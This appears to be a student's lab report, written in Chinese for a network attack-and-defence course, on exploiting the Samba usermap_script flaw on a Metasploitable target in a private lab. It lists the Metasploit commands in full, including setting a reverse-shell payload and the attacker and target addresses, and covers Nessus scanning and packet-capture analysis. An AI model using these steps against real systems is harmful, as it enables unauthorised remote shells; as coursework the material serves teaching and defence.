20212923 2021-2022-2 《网络攻防实践》第七次作业
20212923 2021-2022-2 《网络攻防实践》第七次作业
实践七:Linux操作系统攻防
课程:《网络攻防实践》
班级: 2129
姓名: 王文彬
学号:20212923
实验教师:王志强
实验日期:2022年04月30日
必修/选修: 选修
一.实践内容
1. 实践要求介绍
- 使用Metasploit进行Linux远程渗透攻击
- 任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
- 启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
- 使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
- 选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
- 设置渗透攻击参数(RHOST,LHOST,TARGET等);
- 执行渗透攻击;
- 查看是否正确得到远程Shell,并查看获得的权限。
- 任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
- 实践作业:攻防对抗实践
- 攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
- 防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
Linux系统远程攻击
-
口令猜测
- 攻击目标服务
- 远程控制:telnet(23)/rlogin/rsh/ssh(22)
- FTP:ftp(21)
- Email:smtp/pop/imap
- 网络管理:SNMP
- 远程口令猜测工具--Brutus
- 攻击目标服务
-
攻击Linux网络服务
-
对网络服务守护进程的数据驱动攻击
-
缓存区溢出
- C语言等高级语言中的缓冲区操作函数缺乏边界保护机制
- 向缓冲区中填入过多的数据,超出边界,导致数据外溢,覆盖了相邻的内存空间,使得攻击者利用这些漏洞进行恶意攻击。
- 原理:(1)向一个缓冲区中放置超出原始分配空间的数据,造成越界覆盖;(2)黑客通过精巧构造传入数据可覆盖影响程序逻辑的关键内容,通过执行注入代码或非预期代码,达到访问目标系统的目的;
- 类型:(1)栈溢出(2)堆溢出(3)内核缓冲区溢出
-
格式化字符串
-
输入验证
-
整数溢出
-
-
默认或有害的配置
-
-
攻击Linux网络客户端
Samba
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。
2.实践过程
使用Metasploit进行Linux远程渗透攻击
机器 | IP地址 |
---|---|
Kali Linux | 192.168.200.69 |
Metasploi_Ubuntu | 192.168.200.68 |
(1)我们首先需要确保攻击机和靶机之间能够进行互通,相互发送ICMP包进行测试:
(2)在攻击机命令行中输入msfconsole
,打开直接打开Metasploit:![image]
(3)输入use exploit/multi/samba/usermap_script
使用该渗透攻击模块[image]
(4)使用set payload generic/shell_reverse_tcp
选择你要用的攻击负载模块:
(5)我们可以通过使用show options
查看当前攻击脚本所需要设置的参数;
(6)使用set RHOST 192.168.200.68
设置靶机为ubuntu,set LHOST 192.168.200.69
设置攻击机为kali,再show options查看是否配置成功,如图:
(7)输入exploit
开始攻击,要注意目标主机的445端口要开放,查看445端口是否开放之后,如果没有开放,则需要开启445端口。攻击成功之后输入若干命令进行测试:
实践二:攻防对抗实践
机器 | IP地址 |
---|---|
Kali Linux | 192.168.200.69 |
Metasploi_Ubuntu | 192.168.200.68 |
WindowsXp | 192.168.200.70 |
(1)首先我们需要对靶机中存在的漏洞进行扫描,我们使用Xp中的Nessus
对靶机进行扫描;
-
首先,我们需要去确定一个规则,选中包含有tcp等各种协议以及端口选项,保存该规则为
test
; -
我们
scan
选项中确定我们的靶机以及选择我们刚刚制定的规则;) -
进行扫描;
-
等待后,我们可以看到存在的高危漏洞有5个,其中我们将选择
linux rpc漏洞溢出攻击测试,Samba NDR MS-RPC请求远程堆溢出漏洞(CVE-2007-2446)
作为我们渗透的漏洞;
-
我们可以观察其端口等相关信息,同时在攻击时也可以在抓包中显示。
(2)当我们确定攻击漏洞后,我们可以对靶机进行端口扫描;
(3)我们可以再次进入msfconsole后,我们可以输入search Samba后,我们可以看到如下图
(4)在整个实验过程中,我尝试使用了不同的模块分别进行了攻击,如图所示
(5)从结果来看,只有使用use exploit/multi/samba/usermap_script
时我们可以成功渗透,其中在使用其他的模块中,需要更多的配置文件,出于好奇,我仍旧进行了渗透,但是在尝试该漏洞不同的模块攻击过程中需要更多的配置文件,因此,后来仍旧使用use exploit/multi/samba/usermap_script
该模块进行该一阶段的实践的进行;
(6)其过程与上一实践几乎一模一样,我们可以在最后输入whoami进行询问当前用户是否为root;
(7)我们从抓包分析中也可以看到我们输入的相关内容,以及端口、攻击机ip相关信息。
二、 实验过程中遇到的问题和解决过程
1. 在实践过程中,总是出现“攻击成功,但回话没有成果链接”的字样?
- 目前从我查找资料,自己实践过程认为,一方面是该模块不能够成功攻击靶机,另一方面,payload的设置应该也会存在一定影响。
三、感想
在此次实践中,我认为我所获得最大的感想就是在于去探索如何使用Metasploit渗透测试软件,如何针对漏洞进行不同攻击的开展,同时也发现了不同渗透工具的强大。